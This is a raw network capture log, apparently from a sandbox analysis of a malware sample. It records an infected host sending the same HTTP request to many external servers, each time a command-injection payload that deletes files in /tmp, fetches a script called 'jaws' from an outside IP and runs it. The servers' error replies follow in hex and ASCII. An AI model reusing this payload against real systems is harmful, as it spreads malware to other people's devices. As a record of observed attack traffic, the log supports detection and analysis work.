Jan 2, 2024 06:25:42.425488949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.670298100 CET	495	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:42 GMT Server: Apache/2.4.56 (Debian) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.23	36618	119.23.86.149	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.547024012 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.162076950 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.480139971 CET	371	IN	HTTP/1.1 403 Forbidden Server: Tengine Date: Tue, 02 Jan 2024 05:25:44 GMT Content-Type: text/html Content-Length: 221 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr/>Powered by Tengine<hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.23	47840	23.63.254.149	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.582550049 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.935225010 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:42 GMT Date: Tue, 02 Jan 2024 05:25:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 32 64 36 31 33 61 26 23 34 36 3b 31 37 30 34 31 37 33 31 34 32 26 23 34 36 3b 36 32 32 34 31 62 64 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.42d613a.1704173142.62241bd8</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.23	35776	170.130.122.64	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.642199993 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.786087036 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:25:47 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.23	47130	52.35.155.166	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.678668976 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.23	46790	62.24.144.165	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.725214005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.952063084 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:42 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.23	53294	45.91.92.175	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.747930050 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.997489929 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 02 Jan 2024 05:25:42 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.23	42066	83.148.198.44	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.757623911 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:43.020127058 CET	904	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:25:44 GMT Server: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.5.30 Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Expires: Tue, 02 Jan 2024 05:25:44 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0d 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0d 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Object not found!</title><link rev="made" href="mailto:postmaster@localhost" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Object not found!
Jan 2, 2024 06:25:43.020263910 CET	475	IN	Data Raw: 3c 2f 68 31 3e 0d 0a 3c 70 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 0d 0a 20 20 0d 0a 0d 0a 20 20 20 20 49 Data Ascii: </h1><p> The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. </p><p>If you think this is a server error, please contactthe <a hre

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.23	35820	210.136.185.64	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.761377096 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:43.035610914 CET	277	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:25:42 GMT Server: Apache Content-Length: 65 Keep-Alive: timeout=3, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found</h1>The requested URL was not found on this server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.23	41670	209.51.136.55	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.872170925 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:43.019531012 CET	430	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:42 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.23	37710	43.192.122.65	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.873893023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:43.248955965 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Tue, 02 Jan 2024 05:25:43 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.23	54248	115.110.175.36	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.911184072 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.23	47366	23.3.111.161	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:43.020356894 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:43.254853010 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:25:43 GMT Date: Tue, 02 Jan 2024 05:25:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 35 38 30 33 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 34 33 26 23 34 36 3b 33 63 38 61 62 39 35 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.e580317.1704173143.3c8ab95d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.23	47674	46.4.102.252	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:43.105983019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:43.347641945 CET	292	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 2 Jan 2024 05:28:43 GMT Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html Content-Length: 56 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>301 Moved Permanently</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.23	35596	18.182.204.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:43.130381107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:43.396053076 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:43 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.23	58714	61.221.104.228	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:43.149492025 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.610019922 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.23	37024	198.44.232.138	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:43.163000107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.23	40184	34.160.79.119	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:43.999253035 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.121140003 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Tue, 02 Jan 2024 05:25:44 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 